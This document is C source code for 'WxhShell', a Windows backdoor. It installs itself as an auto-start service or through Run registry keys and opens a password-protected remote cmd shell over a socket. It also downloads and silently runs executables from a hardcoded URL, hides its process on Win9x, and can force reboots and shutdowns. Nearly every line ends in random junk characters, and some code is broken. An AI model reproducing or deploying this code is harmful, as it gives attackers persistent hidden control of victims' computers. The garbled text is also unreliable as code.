  case 'd': { $vTAF-~Ql  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $\,BpZ }3  
    if(Boot(SHUTDOWN)) W`Q$t56  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$goF }b'g  
    else { ,u&tB|,W,  
    closesocket(wsh); QlRoe| {  
    ExitThread(0); X<Th{kM2  
    } T}t E/  
    break; {7=WU4$  
    } 'ybth  
  // 获取shell $W/+nmb)@K  
  case 's': { ."IJmv  
    CmdShell(wsh); ~3'RW0  
    closesocket(wsh); z#{ 0;t  
    ExitThread(0); !]rETP_  
    break; q[)q|R|  
  } .|-l+   
  // 退出 hg?j)jl|  
  case 'x': { XVrm3aj(m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B?;' lDz*  
    CloseIt(wsh); -Wlp=#9  
    break; ]>)u+|  
    } C(V[wvL  
  // 离开 JQ"`9RNb  
  case 'q': { Xq,UV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BKC7kDK3H  
    closesocket(wsh); <?LfOSdMs^  
    WSACleanup(); gV"qV   
    exit(1); `dv}a-Q)c  
    break; /ojO>Y[<   
        } Sa;<B:|  
  } t;.^K\S4  
  } m"gni #  
UCn*UX  
  // 提示信息 h"%|\o+3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ew %{ i(d  
} %XP_\lu]  
  } D!bKm[T  
GJ1;\:cQq  
  return; d~{jEg  
} L$+d.=]  
?$|uT  
// shell模块句柄 W\@?e32  
int CmdShell(SOCKET sock) 9Z,*h-o  
{ .D8~)ZWN  
STARTUPINFO si; eg"=H50  
ZeroMemory(&si,sizeof(si)); aho'|%y)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cOSxg=~>u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eyeNrk*2o  
PROCESS_INFORMATION ProcessInfo; V~(EVF{h  
char cmdline[]="cmd"; Gn bfy4Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); < /;Q8;0  
  return 0; V$/u  
} Em e'Gk  
#XTY7,@ P  
// 自身启动模式 (Wd_G-da  
int StartFromService(void) _0'm4?"  
{  Y{B9`Z  
typedef struct RAIVdQ}.Z  
{ 0a"igH}  
  DWORD ExitStatus; D JLiZS  
  DWORD PebBaseAddress; 7 I_1 #O  
  DWORD AffinityMask; dB@Wn!Y  
  DWORD BasePriority; m#oh?@0}  
  ULONG UniqueProcessId; )W&o?VRfO  
  ULONG InheritedFromUniqueProcessId; GWF/[%  
}   PROCESS_BASIC_INFORMATION; qbS'|--wH  
XR*Q|4  
PROCNTQSIP NtQueryInformationProcess; QS3U)ZO$@  
]43alf F#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uYFMv=>j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d"#gO,H0  
C%giv9a  
  HANDLE             hProcess; -Y*VgoK%  
  PROCESS_BASIC_INFORMATION pbi; u~s Sk  
iO!27y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tIq>Oojdx  
  if(NULL == hInst ) return 0; *)limqe3"$  
?h/xAl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1 6"#i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3`8dii  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yGU .AM  
MaZM%W8Z  
  if (!NtQueryInformationProcess) return 0; exfm q  
i 3m3zXt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `AWy!}8  
  if(!hProcess) return 0; y Wpi|  
Lj}>Xy(7<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;W]D ~X&  
&!ED# gs  
  CloseHandle(hProcess); !Citzor  
Ls&+XlrX8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JkZ50L  
if(hProcess==NULL) return 0; M'kVL0p?vN  
rkkU"l$v  
HMODULE hMod; <3d;1o   
char procName[255]; Mr-DGLJ  
unsigned long cbNeeded; 6yY.!HRkr  
~@{w\%(AK]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >DHp*$y  
dXmV@ Noo  
  CloseHandle(hProcess); ]1m"V;vZ  
).LTts7c  
if(strstr(procName,"services")) return 1; // 以服务启动 fX_#S|DlSG  
!)N|J$FU  
  return 0; // 注册表启动 dd]?9  
} O7%2v@j|8  
>*IN  
// 主模块 rah,dVE]  
int StartWxhshell(LPSTR lpCmdLine) }.p<wCPy6  
{ + :Vrip  
  SOCKET wsl; /D<"wF }@J  
BOOL val=TRUE; _5mc('  
  int port=0; f\fdg].!  
  struct sockaddr_in door; F*M|<E=  
moMYdArj  
  if(wscfg.ws_autoins) Install(); L'l F/qe^  
"< v\M85&  
port=atoi(lpCmdLine); ['z!{Ez  
n|Pr/ddL   
if(port<=0) port=wscfg.ws_port; b/t  
p~K9 B-D  
  WSADATA data; +iy7e6P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ` @8`qXg  
X APYpBgm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hrbo:8SL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ow3P-UzU3  
  door.sin_family = AF_INET; qos`!=g?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1~J5uB4  
  door.sin_port = htons(port); K%MW6y  
cq*=|m0}Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nU(DYHc+l  
closesocket(wsl); I^D0<lHl~  
return 1; w1r$='*I  
} 'CXRG$D  
%K(0W8&  
  if(listen(wsl,2) == INVALID_SOCKET) { 1j0-9Kg'  
closesocket(wsl); Q.+|xwz  
return 1; [$\z'}  
} \?DR s  
  Wxhshell(wsl); k6!4Zz_8  
  WSACleanup(); T$KF< =  
MxOD8TDF4  
return 0; jij<yM8$g  
; dd Q/  
} S_v(S^x6  
M"{uX  
// 以NT服务方式启动 !g>.i`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]u#JuX  
{ &.Q8Mi aT  
DWORD   status = 0; |%1?3Mpn  
  DWORD   specificError = 0xfffffff; fQ+\;iAU  
cX:HD+wO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u=r`t(Z1H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [Il~K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /\Z J   
  serviceStatus.dwWin32ExitCode     = 0; e8}Ezy"^  
  serviceStatus.dwServiceSpecificExitCode = 0; MgJ36zM  
  serviceStatus.dwCheckPoint       = 0; BI2; ex  
  serviceStatus.dwWaitHint       = 0; +Llo81j&  
0:&ZnE}##  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~GJN@ka4%  
  if (hServiceStatusHandle==0) return; 15{Y9!  
GKiukX$'  
status = GetLastError(); v>A=2i*j  
  if (status!=NO_ERROR) 4 o(bxs"  
{ 4f^C\i+q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pI;NL [  
    serviceStatus.dwCheckPoint       = 0; 8i}< k$S  
    serviceStatus.dwWaitHint       = 0; GX&b;N  
    serviceStatus.dwWin32ExitCode     = status;  U47}QDh  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4v'A\~ZU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^V3v{>D>  
    return; 0)!Ll*L!p  
  } &\C [@_  
93O;+Z5J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (*\jbK  
  serviceStatus.dwCheckPoint       = 0; i)ASsYG!  
  serviceStatus.dwWaitHint       = 0; k+^'?D--'P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gi FXX  
} KCuG u}  
U__(; /1;  
// 处理NT服务事件,比如:启动、停止 ZJ,cQ+fn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Thr*^0$C  
{ 7@}$|u:JUF  
switch(fdwControl) 8K9$,Ii  
{ Ucdj4[/,h  
case SERVICE_CONTROL_STOP: T]T;$  
  serviceStatus.dwWin32ExitCode = 0; >dzsQ^Nj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E7zm{BX]  
  serviceStatus.dwCheckPoint   = 0; Bi3+)k>u7  
  serviceStatus.dwWaitHint     = 0; Pw0Ci  
  { x3p ND  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aqU' T  
  } i/So6jW  
  return; ]@^coj[  
case SERVICE_CONTROL_PAUSE: 27F~(!n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Yw; D:Y(  
  break; 5 BtX63  
case SERVICE_CONTROL_CONTINUE: _-~`03 `!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zm ogM7B  
  break; sJ z@7.  
case SERVICE_CONTROL_INTERROGATE: wJ<Oo@snm  
  break; h*B|fy4K9U  
}; !ZRs;UZ>o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sZ<9A Xk-E  
} CjIu[S1%  
]rN5Ao}2  
// 标准应用程序主函数 . lgPFr6X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *Vw\'%p*  
{ f.B>&%JRZ  
6 sxffJt  
// 获取操作系统版本 ^!8P<y  
OsIsNt=GetOsVer(); Xjio Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b6(p  
]iNEw9  
  // 从命令行安装 -62'}%?A<C  
  if(strpbrk(lpCmdLine,"iI")) Install(); eP.Vd7ky  
SJt<+kg  
  // 下载执行文件 NS)}6OI3~"  
if(wscfg.ws_downexe) { 6$fYt&1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &k7;DO  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4)>FS'=  
} KInk^`C/H  
 y! .J  
if(!OsIsNt) { jjM\.KL]  
// 如果时win9x,隐藏进程并且设置为注册表启动 OS|>t./U  
HideProc(); C[!MS5  
StartWxhshell(lpCmdLine); wCf~O'XLw  
} {O<l[|Ip  
else C:8_m1Y{  
  if(StartFromService()) c#IYFTz  
  // 以服务方式启动 *+'2?*  
  StartServiceCtrlDispatcher(DispatchTable); jOpcV|2  
else 9+s.w25R  
  // 普通方式启动 ml|W~-6l  
  StartWxhshell(lpCmdLine); ?Iyo9&1&  
)}vNOE?X~  
return 0; ps .]N   
} vDl- "!G1  
\#-W <  
:0)3K7Q   
[[d(jV=*  
=========================================== @~c6qh  
]ul$*  
x_Jwd^`t!  
R" )bDy?  
%CUGm$nH  
'I;!pUfVp  
" km^^T_ M/  
]lw|pvtd  
#include <stdio.h> AcI,N~~  
#include <string.h> VvFC -r,=G  
#include <windows.h> l\M_-:I+4  
#include <winsock2.h>  z@|GC_L  
#include <winsvc.h> joKIrS0y  
#include <urlmon.h> Uw,2}yR  
~8"8w(CG*I  
#pragma comment (lib, "Ws2_32.lib") ay "'#[  
#pragma comment (lib, "urlmon.lib") r<F hY  
R8rfM?"W  
#define MAX_USER   100 // 最大客户端连接数 \0lnxLA  
#define BUF_SOCK   200 // sock buffer *BuUHjTv  
#define KEY_BUFF   255 // 输入 buffer @/ZF` :   
g;$Xq)Dd  
#define REBOOT     0   // 重启 ?Kvl!F!`  
#define SHUTDOWN   1   // 关机 ae:zWk'!  
}ENR{vz$A  
#define DEF_PORT   5000 // 监听端口 8Og_W8  
%AOja+  
#define REG_LEN     16   // 注册表键长度 W^3uEm&l!)  
#define SVC_LEN     80   // NT服务名长度 322jR4QGr  
]EwVpvTw  
// 从dll定义API |-V&O=!^+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J psPNa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O+ }qQNe<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `wF8k{Pb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WDFjp  
FnJ?C&xK  
// wxhshell配置信息 ;nC.fBu  
struct WSCFG { V=fEPM  
  int ws_port;         // 监听端口 <mi-}s  
  char ws_passstr[REG_LEN]; // 口令 S= _vv)6+4  
  int ws_autoins;       // 安装标记, 1=yes 0=no b'6- dU%  
  char ws_regname[REG_LEN]; // 注册表键名 \U|ZR  
  char ws_svcname[REG_LEN]; // 服务名 3}|'0(hYL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Og=*R6i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z1^gDjkZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CPg+f1K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no btdb%Q*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K\XH4kic  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s w39\urf  
>``MR%E:<  
}; ~QvqG{bFB  
h?bb/T+'  
// default Wxhshell configuration p-1 3H0Kt  
struct WSCFG wscfg={DEF_PORT, /mp*>sNr6  
    "xuhuanlingzhe", oB74y  
    1, DjSbyXvrg  
    "Wxhshell", 'v]u#/7a  
    "Wxhshell", lA>DS#_  
            "WxhShell Service", f!O{%ev  
    "Wrsky Windows CmdShell Service", `--TP  
    "Please Input Your Password: ", A^q[N  
  1, j"AU z)x  
  "http://www.wrsky.com/wxhshell.exe", r}uz7}z %"  
  "Wxhshell.exe" D#&q&6P{  
    }; nLV9<M Zm  
N^Bo .U0\  
// 消息定义模块 5) -~mW y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pp7$J2s+j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5]M>8ll  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C@jJ.^ <<  
char *msg_ws_ext="\n\rExit."; $.9{if#o&  
char *msg_ws_end="\n\rQuit."; x3PD1JUf  
char *msg_ws_boot="\n\rReboot..."; YZ%Hu)  
char *msg_ws_poff="\n\rShutdown..."; P-ri=E}>  
char *msg_ws_down="\n\rSave to "; TDd{.8qf  
6xD#?  
char *msg_ws_err="\n\rErr!"; $H+VA@_  
char *msg_ws_ok="\n\rOK!"; <{~6}6o  
SPp#f~%m  
char ExeFile[MAX_PATH]; r\AyN= y  
int nUser = 0; u]vQ>Uu  
HANDLE handles[MAX_USER]; me OMq1  
int OsIsNt; k?2k'2dy  
!9xp cQ>  
SERVICE_STATUS       serviceStatus; ~ o1x;Y6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 271&i  
6M13f@v  
// 函数声明 (PfqRk1Y  
int Install(void); >3c@x  
int Uninstall(void); cI=(\pC  
int DownloadFile(char *sURL, SOCKET wsh); bf9a 1<\  
int Boot(int flag); yRo- EP  
void HideProc(void); :O(^w}sle  
int GetOsVer(void); ^5=B`aich  
int Wxhshell(SOCKET wsl); xhRngHU\z<  
void TalkWithClient(void *cs); To?W?s  
int CmdShell(SOCKET sock); bT&: fHc  
int StartFromService(void); AE} )o)B  
int StartWxhshell(LPSTR lpCmdLine); EY \H=@A  
JGuN:c$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %'[&U#-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1 5A*7|  
_1U1(^)  
// 数据结构和表定义 n5{Xj:}  
SERVICE_TABLE_ENTRY DispatchTable[] = Uh][@35 p  
{ n_'s=]~  
{wscfg.ws_svcname, NTServiceMain}, =C~/7N,lW]  
{NULL, NULL} b!)<-|IK  
}; TC<@e<-%Sq  
C:Hoq(  
// 自我安装 R9B&dvG  
int Install(void) +"1NC\<*  
{ {l |E:>Q2  
  char svExeFile[MAX_PATH]; T8^5=/  
  HKEY key; 23h% < ,  
  strcpy(svExeFile,ExeFile); 7U"[Gf  
",!1m7[wF  
// 如果是win9x系统,修改注册表设为自启动 4fe7U=#;Y  
if(!OsIsNt) { Fy.\7CL>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9~l hsH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _U/!4A  
  RegCloseKey(key); EOm:!D\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KCWc`Oz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {#{DH?=^)u  
  RegCloseKey(key); *V+j%^91}  
  return 0; mW:!M!kk  
    } X=> =5'  
  } %*\es7m}  
} S%Us5`sd  
else { Z ,EvQ8i  
)HvnoUO0  
// 如果是NT以上系统,安装为系统服务 d'Zqaaf k%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '7oA< R  
if (schSCManager!=0) ,u/aT5\_  
{ 435;Vns\n  
  SC_HANDLE schService = CreateService 9ksE>[7  
  ( ]niJG t  
  schSCManager, yR4|S2D3xn  
  wscfg.ws_svcname, Z.M,NR  
  wscfg.ws_svcdisp, lv]hTH 4T  
  SERVICE_ALL_ACCESS, Op_RzZP`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^.>jG I%rB  
  SERVICE_AUTO_START, (7r<''  
  SERVICE_ERROR_NORMAL, &-mX ,   
  svExeFile, IV)<5'v  
  NULL, HcqfB NM  
  NULL, lIProF0  
  NULL, Jej` ;I  
  NULL, 0lv %`,  
  NULL AGbhJ=tB  
  ); >$ e9igwe  
  if (schService!=0) C?2' +K  
  { 'z$Q rFW  
  CloseServiceHandle(schService); Jm42b4  
  CloseServiceHandle(schSCManager); bP^Je&nS*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NM06QzE  
  strcat(svExeFile,wscfg.ws_svcname); ;f"0~D2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yboiw y,n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PP!SK2u "L  
  RegCloseKey(key); t1%_DPD%W  
  return 0; !U5Wr+83  
    } ,%)6jYHRw  
  } T,VY.ep/  
  CloseServiceHandle(schSCManager); &cu lbcz  
} 'Tc]KXD6  
} ~t~-A,1  
Iyyh!MVF  
return 1; +gLPhX:`  
} U\R}`l  
K=,F#kn  
// 自我卸载 3#TV5+x*"`  
int Uninstall(void) GxKqD;;u?=  
{ R[;z X(y  
  HKEY key; '60 L~`K  
K5XK%Gl"  
if(!OsIsNt) { IhA*"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (e[}/hf6  
  RegDeleteValue(key,wscfg.ws_regname); Q_Gi]M9  
  RegCloseKey(key); r3\cp0P;s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DuOG {  
  RegDeleteValue(key,wscfg.ws_regname); )'4k|@8|  
  RegCloseKey(key); #/Eb*2C`b  
  return 0; z5r$M  
  } TqddOp  
} y8rm  
} /<]{KI  
else { GO^_=EMR[  
G rk@dZI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :at$HCaK  
if (schSCManager!=0) zNIsf "  
{ H V;D?^F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qIAoA .  
  if (schService!=0) gwWN%Z"  
  { >b]S3[Q(  
  if(DeleteService(schService)!=0) { dtc IC0:[  
  CloseServiceHandle(schService); 6#QK%[1!>  
  CloseServiceHandle(schSCManager); Qu]z)";7  
  return 0; 7K5P8N ,  
  } mD/MJt5  
  CloseServiceHandle(schService); 7Ddaf>  
  } FGh] S-A  
  CloseServiceHandle(schSCManager); H `(exa:w  
} nVI! @qW  
} E,f>1meN=  
p^'3Odd|O  
return 1; L_K=g_]  
} }sOwp}FV8X  
<,>P0tY}  
// 从指定url下载文件 y})70w@ +_  
int DownloadFile(char *sURL, SOCKET wsh) g=$1cC+(  
{ ''Cay0h  
  HRESULT hr;  ,qYJioWX  
char seps[]= "/"; >z.<u|r2  
char *token; ?|ZTaX6A  
char *file; ti<;7Yb  
char myURL[MAX_PATH]; 4M^G`WA}t9  
char myFILE[MAX_PATH]; D7S'*;F  
`8Lo{P  
strcpy(myURL,sURL); Z%n(O(^L  
  token=strtok(myURL,seps); Vl2XDkhq  
  while(token!=NULL) )u qA(R>  
  { F<(i.o(  
    file=token; V@\%)J'g  
  token=strtok(NULL,seps); @`,1:  
  } -%I2[)F<  
B0ndcB-  
GetCurrentDirectory(MAX_PATH,myFILE); Y]3>7q%  
strcat(myFILE, "\\"); al[n, u  
strcat(myFILE, file); X 51Yfr  
  send(wsh,myFILE,strlen(myFILE),0); iT)z_  
send(wsh,"...",3,0); A4]s~Ur  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xSBc-u#< G  
  if(hr==S_OK) eVM/uDD  
return 0; -^ C=]Medl  
else [V) L  
return 1; u3o#{~E/#  
_Y[jyD1>  
} L^{|uP15N  
PtTHPAKj  
// 系统电源模块 5=1^T@~#&  
int Boot(int flag) D2,z)O%VK  
{ nM0[P6p  
  HANDLE hToken; [u._q:A  
  TOKEN_PRIVILEGES tkp; /-i !;!  
6HlePTf8  
  if(OsIsNt) { ,yTjU{<"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yOwA8^q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c~v~2DM  
    tkp.PrivilegeCount = 1; ?Oc{bF7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ck /F9(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _IdRF5<4  
if(flag==REBOOT) { HWVtop/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >N.]|\V  
  return 0; -@Uqz781  
} q/4 [3h  
else { nO)X!dp}J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =k oSUVO0  
  return 0; 51QRM32Y  
} "kA*Vc#  
  } Tr#V*.x  
  else { 3ux0 Jr2yT  
if(flag==REBOOT) { :hI@AA>g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .YZgOJi  
  return 0; _Dwqy(   
} ykFJ%sw3X  
else { %/rMg"f:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1u|Rl:Q  
  return 0; ZZyDG9a>7  
} j6g[N4xr  
} xrN &N_K#  
# (- Qx  
return 1; %~QO8q_7  
} LbII?N8`N  
T t>8?  
// win9x进程隐藏模块 $\? yAE  
void HideProc(void) Rd>B0;4  
{ a:_I  
M5trNSL&u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Tdc3_<1  
  if ( hKernel != NULL ) ^7.h%lSg  
  { "C*B,D*}:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w` DW(hXJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bUY>st'  
    FreeLibrary(hKernel); LE%7DW(  
  } _H^^y$+1  
SKW%X8  
return; L-9~uM3@\  
} Kb^>-[Yx  
>[1W:KQA  
// 获取操作系统版本 2>l,no39t+  
int GetOsVer(void) ZoB {x*IH  
{ \t|M-%&)4  
  OSVERSIONINFO winfo; NzW`B^p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NxLXm,  
  GetVersionEx(&winfo); /CIh2 ]#e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X@|&c]]  
  return 1; d O~O |Xsb  
  else fkSwD(  
  return 0; ILic.@st  
} [JaS??ig  
wlPx,UqZ  
// 客户端句柄模块 @p|$/Z%R,  
int Wxhshell(SOCKET wsl) /N-_FMl?  
{ ,Hgc-7g@Y  
  SOCKET wsh; $ F S_E  
  struct sockaddr_in client; )=DGdI Et  
  DWORD myID; c~o+WI Ym  
M+!x}$ &v  
  while(nUser<MAX_USER) U #~;)fZ  
{ :>81BuMvg  
  int nSize=sizeof(client); b,IocD6v;P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .{S8f#p9T  
  if(wsh==INVALID_SOCKET) return 1; Tb1U^E:  
wap3Kd>MP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _e7-zg$/  
if(handles[nUser]==0) [qoXMuC|P  
  closesocket(wsh); P6Mhbmt9*  
else 7FF-*2@  
  nUser++; Eaqca{%/^  
  } ?J,AB #+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j.:h5Y^N  
x3zj ?-  
  return 0; 'r\ V. 4  
} S:61vD  
|0z;K:5s  
// 关闭 socket %5*@l vy  
void CloseIt(SOCKET wsh) U'*t~x <  
{ BtY%r7^o  
closesocket(wsh); /Ky__l!bu  
nUser--; -!({B H-M_  
ExitThread(0); pDh se2  
} \sA*V%n  
}!i` 0p  
// 客户端请求句柄 &J!aw  
void TalkWithClient(void *cs) 6q>+!kXh  
{ [/_+>M  
p*l$Wj  
  SOCKET wsh=(SOCKET)cs; F6hmku>\1  
  char pwd[SVC_LEN]; A!63p$VT;  
  char cmd[KEY_BUFF]; |([R'Orm  
char chr[1]; /1`cRyS  
int i,j; }!TL2er_  
rbZ[!LA  
  while (nUser < MAX_USER) { C;~*pMAYe  
$Q+s/4\  
if(wscfg.ws_passstr) { wLV~F[:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gLsU:aeCT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fj,m  
  //ZeroMemory(pwd,KEY_BUFF); KL'zXkS  
      i=0; ]h9!ei [  
  while(i<SVC_LEN) { O3o: qly!  
>ulY7~wUv  
  // 设置超时 \b*X:3g*  
  fd_set FdRead; ]8;n{ }X  
  struct timeval TimeOut; #;# 3%?  
  FD_ZERO(&FdRead); `8\Ja$ =  
  FD_SET(wsh,&FdRead); >`jU`bR@  
  TimeOut.tv_sec=8; T5O _LCIws  
  TimeOut.tv_usec=0; NcM>{{8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bY~@}gC**@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [/RM=4Nh5  
!q"CV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l\$ +7|W  
  pwd=chr[0]; nIfCF,6,  
  if(chr[0]==0xd || chr[0]==0xa) { 9PUes3"v  
  pwd=0; W@\ (nfD2  
  break; V,ZY*f0  
  } m?[5J)eR  
  i++; H0"=Vs,n  
    } n +1y  
Qju`e Eo  
  // 如果是非法用户,关闭 socket V^il$'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -p-0;Hy  
} 3_5XHOdE  
W0cgI9=9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %}>dqUyQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Y^8SO4  
|vFj*XU  
while(1) { }vt%R.u  
v0l_w  
  ZeroMemory(cmd,KEY_BUFF); $WW)bP d4^  
D';eTy Y  
      // 自动支持客户端 telnet标准   'YSuQP>  
  j=0; ;,O fJ'q^  
  while(j<KEY_BUFF) { ;\%sEcpT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RD<75]**{  
  cmd[j]=chr[0]; l|/:Ot  
  if(chr[0]==0xa || chr[0]==0xd) { Z"I/ NGiU  
  cmd[j]=0; MQcr^Y_  
  break; |Wj;QO$C  
  } >P. 'CU  
  j++; f0Hq8qAF;^  
    } y:}sD_m0W  
{fSf q&o  
  // 下载文件 sNU}n<J-  
  if(strstr(cmd,"http://")) { mE#nU(+Ta  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s* j fMY  
  if(DownloadFile(cmd,wsh)) BC\S/5~k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l!IKUzt)7  
  else 99iUOw c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hh.Q\qhubB  
  } UU@fkk  
